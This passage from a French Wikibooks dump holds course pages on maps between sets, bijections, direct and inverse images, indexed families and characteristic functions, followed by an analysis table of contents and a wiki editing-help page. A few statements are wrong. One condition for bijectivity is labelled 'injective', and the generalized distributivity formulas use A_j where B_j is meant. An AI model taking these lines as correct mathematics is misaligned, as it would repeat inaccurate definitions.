c'est à dire<br/><math>\forall y\in F, \exists ! x\in E, y=f(x)</math>. *''f'' est injective si et seulement si pour tout élément ''y'' de ''F'' l'équation d'inconnue ''x'', f(''x'')=''y'' admet une unique solution dans ''E''. '''Propriétés immédiates :''' *La composée de deux applications injectives est injective. *La composée de deux applications surjectives est surjective. *La composée de deux applications bijectives est bijective. '''Proposition :''' Soient ''E'', ''F'' et ''G'' trois ensembles et des applications <math>f: E\rightarrow F</math>, <math>g: F\rightarrow G</math>. *<math>g\circ f</math> injective implique que ''f'' injective. *<math>g\circ f</math> surjective implique que ''g'' surjective. === Application réciproque d'une application bijective === -------------------- '''Définition''' (application réciproque d'une bijection) : Soient ''E'' et ''F'' deux ensembles quelconques et <math>f:E\rightarrow F</math> une application bijective. L'application de ''F'' dans ''E'', qui à tout élément de l'ensemble d'arrivée de ''f'', associe son unique antécédent par ''f'' se note ''f''<sup>-1</sup> et s'appelle l<nowiki>'</nowiki>application réciproque de ''f''. '''Théorème :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f:E\rightarrow F</math> une bijection. Alors l'application réciproque ''f''<sup>-1</sup> de ''f'' vérifie :<math>\forall x\in E, \forall y\in F, x=f^{-1}(y)\Leftrightarrow y=f(x)</math> De plus :<math>f^{-1}\circ f=\operatorname{Id}_E</math> et <math>f\circ f^{-1}=\operatorname{Id}_F</math> L'application ''f''<sup>-1</sup> est bijective et nous avons :<math>\left(f^{-1}\right)^{-1}=f</math> (l'application réciproque de ''f''<sup>-1</sup> est ''f'') '''Démonstration :''' ... ''Remarque :'' L'application réciproque d'une application bijective étant aussi bijective, elle est aussi appelée '''bijection réciproque''' de ''f''. '''Théorème :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application de ''E'' dans ''F''. Alors ''f'' est bijective si et seulement si il existe une application <math>g: F\rightarrow E</math> telle que <math>g\circ f=\operatorname{Id}_E</math> et <math>f\circ g=\operatorname{Id}_F</math>. Dans le cas où ''f'' est bijective, nous avons ''g''=''f''<sup>-1</sup>. '''Définition''' (application involutive) : Soient ''E'' un ensemble quelconque et ''f'' dans <math>\mathcal A(E)</math>. ''f'' est dite '''involutive''' si <math>f\circ f=\operatorname{Id}_E</math>. ''Remarque :'' D'après le théorème précédent, ''f'' est bijective et nous avons <math>f^{-1}=f</math>. (''f'' est sa propre bijection réciproque). '''Exemples :''' *L'application identité d'un ensemble quelconque est involutive. *L'application <math>\begin{matrix}\mathbb R^* & \rightarrow & \mathbb R^*\\x & \mapsto & \frac{1}{x}\end{matrix}</math> est involutive. *L'application <math>\begin{matrix}\mathbb C & \rightarrow & \mathbb C\\x & \mapsto & \overline{x}\end{matrix}</math> est involutive. *Soit ''E'' un ensemble quelconque et <math>\mathcal P(E)</math> l'ensemble des parties de ''E''. L'application <math>\begin{matrix}\mathcal P(E) & \rightarrow & \mathcal P(E)\\X & \mapsto & \overline{X}\end{matrix}</math> (<math>\overline{X}</math> étant le complémentaire de ''X'' dans ''E'') est une involution de <math>\mathcal P(E)</math>. **L'application <math>\begin{matrix}\mathbb R^3 & \rightarrow & \mathbb R^3\\(x, y, z) & \mapsto & (y, x, z)\end{matrix}</math> est une involution de <math>\mathbb R^3</math>. == Image directe, image réciproque d'une partie par une application == '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application. Soit ''A'' une partie de ''E'', nous appelons '''image directe''' de ''A'' par ''f'' l'ensemble des éléments de ''F'' de la forme ''f''(''x'') où ''x'' parcourt ''A'', c'est à dire l'ensemble des éléments ''y'' de ''F'' tels qu'il existe un élément ''x'' de ''A'' tel que ''y''=''f''(''x''). Cette image directe se note ''f''(''A''), et nous avons :<math>f(A)=\{f(x)/x\in A\}</math> ou <math>f(A)=\{y\in F/\exists x\in A, y=f(x)\}</math>. Dans le cas particulier où ''A''=''E'', l'ensemble ''f''(''E'') est l'ensemble des images de tous les éléments de l'ensemble de définition de ''f'', et s'appelle l'ensemble des valeurs de ''f'', ou '''image''' de ''f'' et se note Im ''f'' ou Im(''f''). '''Propriétés immédiates :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application. *<math>f(\emptyset)=\emptyset</math> (il n'y a pas d'image d'élément de l'ensemble vide puisque l'ensemble vide n'a pas d'élément) *Soit ''x'' un élément de ''E''. Si ''A''={''x''}, alors f(''A'')={''f''(''x'')}. ''Remarques :'' *L'image directe d'une partie par une application est une partie de l'ensemble d'arrivée et non un élément de cet ensemble. *Il ne faut surtout pas confondre l'image directe d'une partie avec l'image d'un élément ou l'image d'une application. '''Proposition :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application.<br/>''f'' est surjective si et seulement si ''f''(''E'')=''F''. '''Définition :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application. Soit ''B'' une partie de ''F'', nous appelons image réciproque de la partie ''B'' par ''f'', l'ensemble des ''x'' de l'ensemble de définition ''X'' tels que ''f''(''x'') appartienne à ''B'', c'est à dire l'ensemble de tous les antécédents de tous les éléments de ''B''. Cette image réciproque se note <math>f^{-1}(B)</math> ou parfois [[Image:fmoinsun.png]](''B''). Nous avons donc :<math>f^{-1}(B)=\{x\in E/ f(x)\in B\}</math> ''Remarques :'' *La notation utilisée pour désigner l'image réciproque d'une partie par une application est trompeuse puisque ''f''<sup>-1</sup> peut faire penser à l'application réciproque (qui n'existe que dans le cas où ''f'' est bijective). En considérant <math>f^{-1}(Y)</math>, nous devons donc examiner si ''Y'' est une partie de l'ensemble d'arrivée auquel cas il s'agit bien d'une image réciproque, ou si ''Y'' est un élément de l'ensemble d'arrivée auquel cas il s'agit de l'image par l'application réciproque <math>f^{-1}</math> de l'élément ''Y'' de ''F'', ce qui exige que ''f'' soit bijective. *Si ''B'' se réduit à un seul élément ''b'', alors l'ensemble :<math>f^{-1}(\{b\})</math> s'écrit parfois <math>f^{-1}(b)</math>, mais nous n'utiliserons jamais cet abus. '''Propriétés immédiates :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f: E\rightarrow F</math> une application. *<math>f^{-1}(\emptyset)=\emptyset</math> *<math>f^{-1}(F)=E</math>, car ''f'' est une application et tous les éléments de ''E'' ont une image dans ''F''. *Pour tout ''y'' de ''F'', <math>f^{-1}(\{y\})</math> est l'ensemble de tous les antécédents de ''y'' par ''f''.<br/>Si ''f'' est bijective, alors <math>f^{-1}(\{y\})=\{f^{-1}(y)\}</math>, puisque dans ce cas le seul antécédent de ''y'' est <math>f^{-1}(y)</math>. '''Propriétés :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f:E\rightarrow F</math> une application quelconque. *<math>\forall A\in\mathcal P(E), \forall A'\in\mathcal P(E), A\subset A'\Rightarrow f(A)\subset f(A')</math> (croissance de l'image directe) *<math>\forall A\in\mathcal P(E), \forall A'\in\mathcal P(E), f(A\cup A')=f(A)\cup f(A')</math> *<math>\forall A\in\mathcal P(E), \forall A'\in\mathcal P(E), f(A\cap A')\subset f(A)\cap f(A')</math> *<math>\forall B\in\mathcal P(F), \forall B'\in\mathcal P(F), B\subset B'\Rightarrow f^{-1}(B)\subset f^{-1}(B')</math> (croissance de l'image réciproque) *<math>\forall B\in\mathcal P(F), \forall B'\in\mathcal P(F), f^{-1}(B\cup B')=f^{-1}(B)\cup f^{-1}(B')</math> *<math>\forall B\in\mathcal P(F), \forall B'\in\mathcal P(F), f^{-1}(B\cap B')=f^{-1}(B)\cap f^{-1}(B')</math> *<math>\forall B\in\mathcal P(F), f^{-1}\left(\complement_F B\right)=\complement_E {f^{-1}(B)}</math> *<math>\forall A\in\mathcal P(E), A\subset f^{-1}(f(A))</math> *<math>\forall B\in\mathcal P(F), f(f^{-1}(B))\subset B</math> *<math>\forall A\in\mathcal P(E), \forall B\in\mathcal P(F), A\subset f^{-1}(B)\Leftrightarrow f(A)\subset B</math> '''Propositions :''' Soient ''E'' et ''F'' deux ensembles quelconques et <math>f:E\rightarrow F</math> une application quelconque. *<math>f{\rm{\,injective\,}}\Leftrightarrow \forall A\in\mathcal P(E), \forall A'\in\mathcal P(E), f(A\cap A')=f(A)\cap f(A')</math> *<math>f{\rm{\,injective\,}}\Leftrightarrow \forall A\in\mathcal P(E), A= f^{-1}(f(A))</math> *<math>f{\rm{\,surjective\,}}\forall B\in\mathcal P(F), f(f^{-1}(B)) = B</math> *<math>f{\rm{\,bijective\,}}\Leftrightarrow \forall A\in\mathcal P(E), f\left(\complement_E A\right)=\complement_F f(A)</math> == Familles == Étant donné un ensemble ''E'' quelconque, nous voulons indicer certains éléments de ''E'', pas forcément avec des entiers naturels comme avec les [[fr:suite|suites]], mais avec les éléments d'un ensemble ''I'' d'indices. Nous allons donc définir une ''famille'' d'éléments de ''E'' comme une application de ''I'' dans ''E'', ce qui va permettre d'attribuer à des éléments de ''E'' plusieurs indices. Définition : Soient ''E'' et ''I'' deux ensembles. Nous appelons '''famille''' d'éléments de ''E'' '''indexée par''' ''I'', toute application de ''I'' dans ''E''. L'ensemble ''I'' s'appelle '''ensemble des indices'''. Si <math>x:i\longmapsto x(i)</math> est une famille, nous notons ''x''<sub>''i''</sub> l'image de ''i'' par ''x'' et <math>(x_i)_{i\in I}</math> cette famille. Si ''I'' est une partie de <math>\mathbb N</math>, alors la famille est une suite. Si ''I'' est un ensemble fini, alors la famille est dite finie. Si ''E'' est remplacé par <math>\mathcal P(E)</math>, alors ''x'' est appelée une famille de parties de ''E''. Remarque : Attention, une famille n'est pas nécessairement injective, et donc deux indices différents peuvent être attribués à un même élément de ''E''. Définition : Soient ''E'' un ensemble quelconque et ''I'' un ensemble d'indices. Soit ''A'' une partie de ''E'', l'injection :<math>\begin{matrix}\iota: & A & \rightarrow & E\\& x & \mapsto & x\end{matrix}</math> est une famille indexée par ''A'' et se note généralement <math>(x)_{x\in A}</math>. Elle est appelée '''famille canoniquement associée à la partie''' ''A''. === Opérations sur les familles === Définition : Soient ''E'' un ensemble quelconque et ''I'' un ensemble d'indices. Soit <math>(A_i)_{i\in I}</math> une famille de parties de ''E''. *Nous appelons réunion de la famille <math>(A_i)_{i\in I}</math>, l'ensemble :<math>\left\{x\in E/ \exists i\in I, x\in A_i\right\}</math>, noté <math>\bigcup_{i\in I}A_i</math>. *Nous appelons intersection de la famille <math>(A_i)_{i\in I}</math>, l'ensemble :<math>\left\{x\in E/ \forall i\in I, x\in A_i\right\}</math>, noté <math>\bigcap_{i\in I}A_i</math>. === Changement d'indice === Proposition : Soient ''E'' un ensemble quelconque et <math>(A_i)_{i\in I}</math> une famille quelconque de parties de ''E'', et soit <math>s: J\rightarrow I</math> une application surjective de ''J'' sur ''I''. Nous avons #<math>\bigcup_{j\in J}A_{s(j)}=\bigcup_{i\in I}A_i</math> #<math>\bigcap_{j\in J}A_{s(j)}=\bigcap_{i\in I}A_i</math> === Associativité === Proposition : Soient ''E'' un ensemble quelconque et <math>(A_i)_{i\in I}</math> une famille quelconque de parties de ''E'', et soit <math>(J_k)_{k\in K}</math> une famille de parties non vides de ''I'' telle que la réunion soit égale à ''I''. Nous avons alors #<math>\bigcup_{i\in I}A_{i}=\bigcup_{k\in K}\bigcup_{i\in J_k}A_i</math> #<math>\bigcap_{i\in I}A_{i}=\bigcap_{k\in K}\bigcap_{i\in J_k}A_i</math> === Distributivité === Proposition : Soient ''E'' un ensemble quelconque, <math>(A_i)_{i\in I}</math> une famille quelconques de parties de ''E'' et ''A'' une partie de ''E''. Nous avons #<math>A\cap\left(\bigcup_{i\in I}A_i\right)=\bigcup_{i\in I} (A\cap A_i)</math> #<math>A\cup\left(\bigcap_{i\in I}A_i\right)=\bigcap_{i\in I} (A\cup A_i)</math> === Distributivité généralisée === Proposition : Soient ''E'' un ensemble quelconque, <math>(A_i)_{i\in I}</math> et <math>(B_j)_{j\in J}</math> deux familles quelconques de parties de ''E''. Nous avons #<math>\left(\bigcap_{i\in I}A_i\right)\cup \left(\bigcap_{j\in J}A_j\right)=\bigcap_{(i,j)\in I\times J} (A_i\cup B_j)</math> #<math>\left(\bigcup_{i\in I}A_i\right)\cap \left(\bigcup_{j\in J}A_j\right)=\bigcup_{(i,j)\in I\times J} (A_i\cap B_j)</math> === Passage au complémentaire === Proposition (lois de Morgan): Soient ''E'' un ensemble quelconque, <math>(A_i)_{i\in I}</math> une famille quelconques de parties de ''E''. Nous avons #<math>\complement_E\left(\bigcup_{i\in I}A_i\right)=\bigcap_{i\in I} \complement_E A_i</math> #<math>\complement_E\left(\bigcap_{i\in I}A_i\right)=\bigcup_{i\in I} \complement_E A_i</math> === Recouvrement, partition === Définition (recouvrement d'un ensemble) : Soit ''E'' un ensemble quelconque et <math>(A_i)_{i\in I}</math> une famille quelconque de parties de ''E''. Nous disons que cette famille forme un recouvrement de ''E'' si la réunion des parties de la famille est égale à ''E'', c'est à dire si :<math>\bigcup_{i\in I}A_i=E</math>. Définition (partition d'un ensemble) : Soit ''E'' un ensemble quelconque et <math>(A_i)_{i\in I}</math> une famille quelconque de parties de ''E''. Nous disons que cette famille constitue une partition de ''E'' si les propositions suivantes sont vérifiées #aucune des parties <math>A_i</math> n'est vide, c'est à dire <math>\forall i\in I, A_i\neq \emptyset</math>, #les parties <math>A_i</math> sont deux à deux disjointes, c'est à dire <math>\forall (i, j)\in I^2, i\neq j\Rightarrow A_i\cap A_j=\emptyset</math>, #la réunion des parties de la famille est égale à ''E'', c'est à dire <math>\bigcup_{i\in I}A_i=E</math>. === Image directe et image réciproque === Proposition : Soient ''E'' et ''F'' deux ensembles quelconques, ''f'' une application de ''E'' dans ''F'', <math>(A_i)_{i\in I}</math> une famille quelconque de parties de ''E'' et <math>(B_j)_{j\in J}</math> une famille quelconque de parties de ''F''. Nous avons #<math>f\left(\bigcup_{i\in I}A_i\right)=\bigcup_{i\in I} f(A_i)</math> #<math>f\left(\bigcap_{i\in I}A_i\right)\subset\bigcap_{i\in I} f(A_i)</math> #<math>f^{-1}\left(\bigcup_{j\in J}B_j\right)=\bigcup_{j\in J} f^{-1}(B_j)</math> #<math>f^{-1}\left(\bigcap_{j\in J}B_j\right)=\bigcap_{j\in J} f^{-1}(B_j)</math> == Application caractéristique == Soient ''E'' et ''F'' deux ensembles quelconques. Soient ''f'' et ''g'' deux applications quelconques de ''E'' dans ''F''. Dès lors que l'ensemble ''F'' est muni d'une addition ou d'une multiplication, il est possible de définir la somme des applications ''f'' et ''g'', comme l'application de ''E'' dans ''F'', qui à un élément ''x'' de ''E'' associe ''f''(''x'')+''g''(''x'') et le produit des applications ''f'' et ''g'', comme l'application de ''E'' dans ''F'' qui à un élément ''x'' de ''E'' associe, ''f''(''x'').''g''(''x''). Considérons l'ensemble {0, 1} et munissons cet ensemble d'une addition et d'une multiplication définies par {| cellpadding="2" cellspacing="1" border="1" width="20%" |- ! bgcolor="#0000ff" | + ! bgcolor="#0000ff" | 0 ! bgcolor="#0000ff" | 1 |- align="center" ! bgcolor="#0000ff" | 0 | 0 | 1 |- align="center" ! bgcolor="#0000ff" | 1 | 1 | 0 |} {| cellpadding="2" cellspacing="1" border="1" width="20%" |- ! bgcolor="#0000ff" | &times; ! bgcolor="#0000ff" | 0 ! bgcolor="#0000ff" | 1 |- align="center" ! bgcolor="#0000ff" | 0 | 0 | 0 |- align="center" ! bgcolor="#0000ff" | 1 | 0 | 1 |} Définition : Nous convenons de poser -1=1 et -0=0.</br>Pour ''x'' dans {0, 1}, et pour tout entier relatif ''n'', notons :<math>\begin{matrix}n.x & = &\underbrace{x + x + \ldots + x}\\& & |n| {\rm{\,fois\,}}\end{matrix}</math> (|''n''| désigne la valeur absolue de ''n'') Proposition : Soit ''E'' un ensemble quelconque, ''f'' et ''g'' deux applications de <math>\mathcal A(E, \{0, 1\})</math> et ''n'' un entier relatif. Les applications ''f''+''g'', ''f''.''g'' et ''n''.''f'' définies par :<math>\begin{matrix}f+g: & E & \rightarrow & \{0, 1\}\\& x & \mapsto & f(x)+g(x)\end{matrix}</math> :<math>\begin{matrix}f.g: & E & \rightarrow & \{0, 1\}\\& x & \mapsto & f(x).g(x)\end{matrix}</math>. :<math>\begin{matrix}n.f: & E & \rightarrow & \{0, 1\}\\& x & \mapsto & n.f(x)\end{matrix}</math> appartiennent à <math>\mathcal A(E, \{0, 1\})</math>. Théorème : Soit ''E'' un ensemble quelconque. L'application <math>\chi</math> qui à une partie ''A'' de ''E'' associe l'application caractéristique de ''A'' est bijective de <math>\mathcal P(E)</math> dans <math>\mathcal A(E, \{0,1\})</math>. Corollaire : Deux parties ''A'' et ''B'' de ''E'' sont égales si et seulement si leurs applications caractéristiques sont égales. Propriétés : Soient ''A'' et ''B'' deux parties d'une ensemble quelconque ''E''. Nous avons les égalités suivantes : *<math>\chi_{\overline{A}}=1-\chi_A</math> *<math>\chi_{A\cap B}= \chi_A\chi_B</math> *<math>\chi_{A\cup B}=\chi_A+\chi_B-\chi_A\chi_B</math> *<math>\chi_{A\backslash B}=\chi_A(1-\chi_B)</math> *Si les parties ''A'' et ''B'' sont disjointes alors <math>\chi_{A\cup B}=\chi_A+\chi_B</math> *<math>\chi_{A\Delta B}=\chi_A+\chi_B-2\chi_A\chi_B=(\chi_A-\chi_B)^2=\chi_A-\chi_B</math> <small>''retour à l<nowiki>'</nowiki>[[algèbre]]''</small> Analyse 19 44510 2006-06-14T07:27:07Z 81.56.220.188 Ces pages ont pour but de présenter à des étudiants du niveau du baccalauréat l<nowiki>'</nowiki>'''analyse''', une branche des mathématiques. [[Catégorie:Mathématiques]] Cet ouvrage est encore en chantier, et vous êtes libre de modifier son contenu, ou d'apporter votre contribution. == Table des matières == === Introduction === * [[Analyse:Introduction|Introduction]] ** Qu'est-ce que l'analyse? === Notions de base === *[[Analyse:Généralités Et Formules|Généralités Et Formules]] *[[Analyse:Suites|Suites]] *[[Analyse:Fonctions|Fonctions]] *[[Analyse:Limites|Limites]] *[[Analyse:Dérivation|Dérivation]] {{25}} *[[Analyse:Intégration|Intégration]] *[[Analyse:Vectorielle|Vectorielle]] *[[Analyse:Equation différentielle|Equation différentielle]] === Notions avancées === *[[Analyse:Formules De Taylor|Formules de Taylor]] *[[Analyse:Développements limités|Développements limités]] *[[Analyse:Séries|Séries]] *[[Topologie]] [[de:Analysis]] Analyse:Introduction 20 38855 2006-03-26T09:35:10Z 86.209.76.241 == Qu'est-que l'analyse? == L'analyse est une branche des mathématiques étudiant principalement les fonctions. Prenons l'exemple d'une voiture équipée d'un tachymètre. Nous pouvons utiliser une fonction qui indique la position de la voiture au cours du temps, et une fonction qui renseigne sur la vitesse de la voiture à chaque instant. Posons nous la question suivante : :Est-il possible, connaissant l'une de ces deux fonctions «&nbsp;position&nbsp;» ou «&nbsp;vitesse&nbsp;», de déterminer l'autre fonction? Si la voiture roulait à une vitesse constante, alors déterminer la position de la voiture à partir de la vitesse serait un simple problème algébrique. Cependant, tous les automobilistes ne roulent pas à vitesse constante, et la vitesse peut changer instantanément. L'[[algèbre]] ordinaire ne permet pas de répondre à la question, tandis que l'analyse le permet. Il y a deux ramifications importantes de l'analyse, le '''calcul différentiel''' et le '''calcul intégral'''. Le calcul différentiel se propose de trouver des pentes de courbes représentatives des fonctions. Schématiquement, allant de la position de la voiture à sa vitesse, le calcul intégral va dans l'autre direction. Le calcul intégral permet aussi, et c'est un rôle fondamental, de mesurer des grandeurs indirectement. <small>''retour à l<nowiki>'</nowiki>[[analyse]]''</small> Image:UnA.png 21 11828 2004-07-22T21:13:18Z COLETTE 5 Fonction caractéristique Fonction caractéristique Image:Fmoinsun.png 22 11829 2004-07-22T21:14:20Z COLETTE 5 fmoinsun fmoinsun Wikilivres:Bienvenue 24 35046 2006-02-27T17:07:19Z 130.149.154.39 formule correcte en ce qui concerne le droit d'auteur [[catégorie:Wikilivres:Aide|Bienvenue]] ''Retour [[Accueil]]'' '''Bonjour et bienvenue sur Wikilivres en français.''' [[w:fr:Wikibooks|Wikilivres]] est une '''bibliothèque''' au contenu '''libre de droits''', '''ouverte à tous'''. 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Ainsi, vous gardez en plus une version de sauvegarde, ou au moins une version vous permettant de travailler hors-ligne. Cette page répertorie les codes existants pour modifier une page. Vous pouvez aussi apprendre : * [[Wikilivres:Créer une page|Créer une page]] * Quelques [[Wikilivres:Conseils|conseils]] pour commencer * La [[Wikilivres:Foire Aux Questions]] * Les [[Wikilivres:conventions de style|conventions de style]] * Les [[Wikilivres:Règles et recommandations à suivre|règles et recommandations]] * Les [[Wikilivres:conventions de dénomination|conventions de dénomination]] Si vous voulez rechercher un article déjà écrit, tapez les mots clés dans la case "Rechercher" qui se trouve en haut. Par contre, si vous voulez '''apprendre à modifier une page''', à y faire des ajouts ou y apporter des corrections, ne bougez plus, vous êtes arrivé au bon endroit. Pour '''modifier''' une page, c'est très simple : # '''Allez''' sur la page à modifier # '''Cliquez''' sur le lien ''Modifier cette page'' qui se trouve en bas et en haut de chaque page (peu importe lequel vous choisissez). # Vous verrez apparaître une page jaune avec un cadre blanc au milieu avec du texte. En fait, c'est le "code wiki" de la page qui était affichée auparavant. '''Modifiez''' le texte, tapez-y vos ajouts, corrigez les fautes d'orthographe... N'ayez pas peur pour la mise en page, un wikipédien expérimenté s'occupera de vos textes pour les mettre en forme. # '''Cliquez éventuellement''' sur ''prévisualisation''. Vous verrez affichée en bas la page comme elle apparaîtra plus tard avec un navigateur. # Quand vous avez terminé, cliquez sur '''sauvegardez''' # Voila, c'est terminé, vos modifications se trouvent listées dans '''modifications récentes'''. Le tableau ci-dessous vous montre les différentes mises en forme possibles. La colonne de droite indique les codes à saisir, et celle de gauche l'effet obtenu. Vous pouvez effectuer tous les tests que vous voulez sur cette page de [[Wikilivres:Bac à sable]] == Vos questions ? == Une fois que vous avez lu ces tableaux, mettez ici les questions que vous vous posez encore... - Où se trouve la barre verticale nécessaire à certains liens, je ne la vois pas sur mon clavier. <br>Réponse: * Sur PC, appuyez simultanément sur les touches Alt Gr et 6 de votre clavier ; * Sur Mac, il faut faire majuscule-alt-L ; * Sur machines autres avec clavier qwerty, la barre verticale est souvent sur une touche juste au-dessus de la touche ''Return''. - Quel est son code ASCII ? <br>Réponse : En code ASCII iso-latin1, la valeur décimale de ce caractère est 124 et 7C en valeur hexadécimale. - Mon texte se met sur des lignes interminables. Comment le justifier ou le faire aller convenablement à la ligne ? <br>Réponse : Pas d'intervalle en début de première ligne. - Peut-on faire en sorte que les titres de sections soient numérotés dans le corps de l'article (et pas seulement dans la table des matières) ? == Table des matières == Une table des matières est créée automatiquement si l'article comporte plus de 3 titres ou sous-titres (au moins 4). Pour supprimer le sommaire automatique, il suffit de mettre quelque part <nowiki>__NOTOC__</nowiki>. Si on veut changer l'emplacement par défaut de ce sommaire, il faut rajouter <nowiki>__START__</nowiki> là on l'on veut le placer. == Sections, paragraphes, listes et lignes == <table border=1> <tr> <td> Pour les titres : <br><br> == Nouvelle section == === Nouvelle sous-section === ==== Nouveau paragraphe ==== Les notations ci-contre sont respectivement équivalentes à l'utilisation des balises html &lt;h2&gt;...&lt;/h2&gt;, &lt;h3&gt;...&lt;/h3&gt; et &lt;h4&gt;...&lt;/h4&gt;. </td> <td><tt> <nowiki>== Nouvelle section ==</nowiki><br> <nowiki>=== Nouvelle sous-section ===</nowiki><br> <nowiki>==== Nouveau paragraphe ====</nowiki></tt></td> </tr> <tr> <td> Un simple saut à la ligne n'a aucun effet. <br><br> Mais une ligne vide permet de séparer les paragraphes.</td> <td><pre>Un simple saut à la ligne n'a aucun effet. Mais une ligne vide permet de séparer les paragraphes.</pre></td> </tr> <tr valign=top><td>Voilà comment il faut faire<br> pour aller à la ligne.</td> <td><pre>Voilà comment il faut faire<br> pour aller à la ligne.</pre></td></tr> <tr> <td> * Les listes sont bien pratiques: ** Elles permettent d'organiser les données ** Elles embellissent le document</td> <td><pre>* Les listes sont bien pratiques:</pre> <pre>** Elles permettent d'organiser les données</pre> <pre>** Elles embellissent le document</pre></td> </tr> <tr> <td> # Les listes numérotées sont également bien pratiques # Bien organisées ## Faciles à lire</td> <td><pre># Les listes numérotées sont également bien pratiques</pre> <pre># Bien organisées</pre> <pre>## Faciles à lire</pre></td> </tr> <tr> <td> :Les lignes peuvent être ::indentées :::sur plusieurs niveaux</td> <td><pre>:Les lignes peuvent être</pre> <pre>::indentées</pre> <pre>:::sur plusieurs niveaux</pre></td> </tr> <tr> <td>Avec tout cela, il est maintenant possible de mélanger les types de listes : *Une liste numérotée : :#Premier élément :#Second élément *d'autres branches à l'arborescence </td> <td><tt> *Une liste numérotée : :#Premier élément :#Second élément *d'autres branches à l'arborescence </tt> </td> </tr> <tr> <td> ; Listes de définitions: listes contenant des définitions ; Terme à expliquer: explication du terme</td> <td><pre>; Listes de définitions: listes contenant des définitions</pre> <pre>; Terme à expliquer: explication du terme</pre></td> </tr> <tr><td>En utilisant des balises (''tags'') HTML c'est plus beau (mais c'est plus difficile à mémoriser) : <ul> <li>Une liste numérotée: <ol> <li>Premier élément <li>Second élément </ol> <li>d'autres branches à l'arborescence </ul> ''Petit truc mnémotechnique :'' *'' ol = Liste Ordonnée (c'est à dire numérotée - Ordered List en anglais)'' ; *'' ul = Liste "Unordonnée" (Unordered List en anglais) ou plus prosaïquement liste à puces'' ; *'' li = élément d'une liste (List Item en anglais). </td> <td> <pre>&lt;ul&gt;</pre> <pre> &lt;li&gt;Une liste numérotée:</pre> <pre> &lt;ol&gt;</pre> <pre> &lt;li&gt;Premier élément</pre> <pre> &lt;li&gt;Second élément</pre> <pre> &lt;/ol&gt;</pre> <pre> &lt;li&gt;d'autres branches à l'arborescence</pre> <pre>&lt;/ul&gt;</pre> </td> </tr> <tr valign=top> <td> SI (une ligne commence par une espace) ALORS elle apparaitra exactement telle qu'elle a été saisie; dans une police non proportionnelle; les sauts de ligne ne seront pas automatiques; FIN SI C'est bien utile pour: &bull; copier/coller un texte pré-formatté; &bull; des descriptions d'algorithmes; <td><pre> SI (une ligne commence par une espace) ALORS elle apparaitra exactement telle qu'elle a été saisie; dans une police non proportionnelle; les sauts de ligne ne seront pas automatiques; FIN SI C'est bien utile pour: &amp;bull; copier/coller un texte pré-formatté; <br><br> &amp;bull; des descriptions d'algorithmes;</pre> </tr> <tr valign=top><td><center>Le texte peut être centré.</center></td> <td><pre>&lt;center&gt;Le texte peut être centré.&lt;/center&gt;</pre></td> </tr> <tr> <td>Une ligne horizontale: au-dessus ---- et en-dessous.</td> <td><pre>Une ligne horizontale: au-dessus</pre> <pre>----</pre> <pre>et en-dessous.</pre></td> </tr> </table> == Liens, adresses internet et images == <table border=1> <tr><td colspan="2"> === Les liens === </td></tr> <tr valign=top><td>Lien vers [[Main Page]].<br> La première lettre apparait automatiquement en [[majuscule]].<br> Les espaces sont convertis en 'underscores'.<br> Pour créer une nouvelle page, créez d'abord un lien vers cette page, puis cliquez sur le lien en rouge qui apparait.</td> <td><pre>Lien vers &#91;&#91;Main Page&#93;&#93;.</pre></td> </tr> <tr valign=top><td>Le même lien, mais avec un nom différent: [[Main_Page|Menu]].<br> Les liens ne peuvent contenir que des lettres et des espaces !</td> <td><pre>Le même lien, mais avec un nom différent: &#91;&#91;Main_Page|Menu&#93;&#93;</pre>;</td> </tr> <tr valign=top><td>[[La sexualite des mouches dans le Vercors oriental]] est une page qui n'existe pas encore.<br> Vous pouvez la créer en cliquant simplement sur le lien.<br> Après l'avoir créée, faites une recherche sur son titre, et assurez-vous <br>que les autres articles y font correctement réference.</td> <td><tt><nowiki>[[La sexualité des mouches dans le Vercors oriental]]</nowiki> est une page qui n'existe pas encore.</tt></td> </tr> <tr valign=top><td>Pour les pages d'[[Wikilivres:Homonymie|homonymie]], il existe un raccourci pour cacher le domaine:<br> la planète [[Jupiter (planète)|Jupiter]]</td> <td><tt><nowiki>la planète [[Jupiter (planète)|]]</nowiki></tt></td> </tr> <tr valign=top><td>Pour référencer les pages utilisateur, il existe un raccourci pour éviter de taper deux fois le nom: [[User:Dupont|Dupont]] est équivalent à [[User:Dupont|Dupont]]</td> <td><tt><nowiki>[[User:Dupont|]] est équivalent à [[User:Dupont|Dupont]]</nowiki></tt></td> </tr> <tr valign=top><td> On peut ici aussi utiliser la barre verticale pour afficher un texte différent du titre de l'article pointé: [[w:en:Wikipedia:How to edit a page|Cette page en anglais]] Attention, ici la barre verticale seule en fin de lien ne permet pas de réduire le texte affiché au strict nécessaire: [[w:en:Wikipedia:How to edit a page|w:en:Wikipedia:How to edit a page]] </td> <td><tt><nowiki>[[w:en:Wikipedia:How to edit a page]]</nowiki> <nowiki>[[w:en:Wikipedia:How to edit a page|Cette page en anglais]]</nowiki> <nowiki>[[w:en:Wikipedia:How to edit a page|]]</nowiki> </tt></td> </tr> <tr valign=top><td>Lien vers les commentaires associés à cette page ou à une page du domaine Wikipédia : [[Discussion Wikilivres:Comment modifier une page]]<br> Lien vers une discussion d'une page normale du Wikipédia [[Discuter:Accueil]]<br> </td> <td><tt>Lien vers les commentaires associés à cette page ou a une page du domaine Wikipédia : <nowiki>[[Discussion_Wikipédia:Comment modifier une page]]</nowiki><br> Lien vers une discussion d'une page normale du Wikipédia <nowiki>[[Discuter:Accueil]]</nowiki></tt><br> </tr> <tr valign=top><td>Redirection d'un article vers un autre<br> en mettant ce texte dans la première ligne.</td> <td><pre>#REDIRECT &#91;&#91;France&#93;&#93;</pre></td> </tr> <tr><td colspan="2"> === Les adresses internet === </td></tr> <tr valign=top><td>Lien externe : [http://www.nupedia.com Nupedia]</td> <td><pre>Lien externe: &#91;http://www.nupedia.com Nupedia&#93;</pre></td> </tr> <tr valign=top><td>Mais l'adresse internet suffit : http://www.nupedia.com.<br> (Bien pratique si on veut imprimer la page.)</td> <td><pre>Mais l'adresse 